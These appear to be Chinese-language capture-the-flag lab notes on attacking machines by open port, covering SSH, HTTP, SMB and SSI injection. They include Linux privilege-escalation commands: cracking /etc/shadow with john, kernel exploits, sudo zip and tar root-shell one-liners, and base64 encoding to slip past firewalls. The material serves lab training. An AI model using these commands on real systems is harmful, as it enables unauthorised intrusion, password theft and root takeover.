对于SSH服务的22端口开放的靶场
需要考虑:
1、暴力破解
2、私钥泄露(私钥有没有对应的密码,是否可以找到私钥的用户名)
需要注意看是否可以寻找到ssh私钥信息(id_rsa)
对于开放http服务的80端口的靶场
需要考虑:
1、使用浏览器访问对应的服务
2、使用探测工具对http的目录进行探测
如:dirb http://靶场IP:http服务端口/
需要特别注意,特殊端口(大于1024的端口)
对于开放139和445端口的机器
一定要注意是否可以直接使用smbclient登录到共享目录查找敏感文件
列出文件,查出敏感文件
smbclient -L ip
访问文件
smbclient '\\ip\文件夹名''
通过get 文件来下载文件
登录服务器后
1、查看当前用户whoami
2、id查看当前用户的权限
3、查看根目录,寻找flag文件
cat /etc/passwd 查看所有用户的列表
cat /etc/group 查看用户组
find / -user 用户名 查看属于某些用户的文件
/tmp 查看缓冲文件目录
cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容,执行的任务肯定对应靶场机器的某个文件
netstat -pantu 查看占用端口
针对HTTP协议弱点分析
1、浏览器查看网站
2、使用dirb,nikto探测
3、寻找突破点,目标登陆后台,上传webshell
SSI注入
SSI的出现是为了赋予html静态页面动态的效果,通过SSI来执行系统命令,并返回对应的结果。
如果网站目录中发现了.stm,.shtm,.shtml,并且网站对于SSI的输入没有做到严格过滤,很有可能被SSI注入成功
提权技巧
提权前提:
- 已经拿到低权shell
- 被入侵的机器上面有nc,python,perl等linux非常常见的工具
- 有权限上传文件和下载文件
1、提权时可以抓取/etc/passwd和/etc/shadow,之后使用join来破解对应的密码,然后使用对应的用户名密码提升root权限
download /etc/passwd
download /etc/shadow
unshadow passwd shadow > cracked #将文件转换为john可以识别的文件格式
john cracked #使用john破解密码
2、内核溢出提权
先进行信息收集
查看发行版本
cat /etc/issue
cat /etc/*-release
查看内核版本
uname -a
寻找内核溢出代码
searchspoit 发行版本 内核版
chmod +x exploit
./exploit
3、明文root密码提权
大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关,passwd里面存储了用户,shadow里面是密码的hash;出于安全考虑,passwd是全用户可读,root可写,shadow是仅root可读写的。
/etc/passwd /etc/shadow
unshadow passwd shadow > cracked
john cracked
4、计划任务
/etc/crontab
5、密码复用
6、利用zip或tar进行提权
sudo -l 查看可以使用root提权的命令信息
Matching Defaults entries for zico on this host:
env_reset, exempt_group=admin,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User zico may run the following commands on this host:
(root) NOPASSWD: /bin/tar
(root) NOPASSWD: /usr/bin/zip
利用zip提权
touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"
利用tar提权
sudo -u root tar cf /dev/null exploit -checkpoint=1 --checkpoint-action="/bin/bash"
绕过防火墙
进行命令上传时,需要将命令编码成base64的方式来绕过防火墙